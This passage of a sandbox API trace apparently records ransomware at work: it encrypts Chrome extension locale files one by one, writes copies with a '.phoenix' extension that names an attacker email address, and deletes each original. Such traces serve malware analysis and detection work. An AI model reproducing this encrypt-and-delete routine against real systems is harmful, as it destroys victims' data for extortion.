	[0261.769] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.769] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb4, lpOverlapped=0x0) returned 1
	[0261.770] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.770] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.771] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0261.771] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.771] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.771] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.771] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.771] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.771] CloseHandle (hObject=0x310) returned 1
	[0261.771] CloseHandle (hObject=0x2c0) returned 1
	[0261.771] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json")) returned 1
	[0261.772] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.773] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=187) returned 1
	[0261.773] CloseHandle (hObject=0x2c0) returned 1
	[0261.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json")) returned 0x20
	[0261.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.773] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.773] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.773] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0261.774] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.774] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xbb, lpOverlapped=0x0) returned 1
	[0261.774] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.774] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.776] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1516c0) returned 1
	[0261.776] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.776] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.776] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.776] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.777] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.777] CloseHandle (hObject=0x2c0) returned 1
	[0261.777] CloseHandle (hObject=0x310) returned 1
	[0261.777] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_br\\messages.json")) returned 1
	[0261.778] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.787] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=198) returned 1
	[0261.787] CloseHandle (hObject=0x2c4) returned 1
	[0261.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0261.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.787] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.787] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.788] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0261.788] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.788] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc6, lpOverlapped=0x0) returned 1
	[0261.789] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0261.789] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0261.790] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0261.790] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.790] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.790] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.790] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.790] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.790] CloseHandle (hObject=0x2c4) returned 1
	[0261.790] CloseHandle (hObject=0x310) returned 1
	[0261.790] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pt_pt\\messages.json")) returned 1
	[0261.791] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.791] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.791] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=175) returned 1
	[0261.791] CloseHandle (hObject=0x310) returned 1
	[0261.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json")) returned 0x20
	[0261.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.792] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.792] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.792] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0261.792] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.792] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xaf, lpOverlapped=0x0) returned 1
	[0261.793] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0261.793] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0261.794] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0261.794] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.794] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.794] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.794] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.794] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.794] CloseHandle (hObject=0x310) returned 1
	[0261.795] CloseHandle (hObject=0x2c4) returned 1
	[0261.795] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ro\\messages.json")) returned 1
	[0261.796] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.796] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=281) returned 1
	[0261.796] CloseHandle (hObject=0x2c4) returned 1
	[0261.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json")) returned 0x20
	[0261.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.797] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.797] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.798] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0261.798] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.798] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x119, lpOverlapped=0x0) returned 1
	[0261.799] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0261.799] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0261.800] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0261.800] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.801] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.801] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.801] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.927] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.927] CloseHandle (hObject=0x2c4) returned 1
	[0261.927] CloseHandle (hObject=0x310) returned 1
	[0261.927] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ru\\messages.json")) returned 1
	[0261.928] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
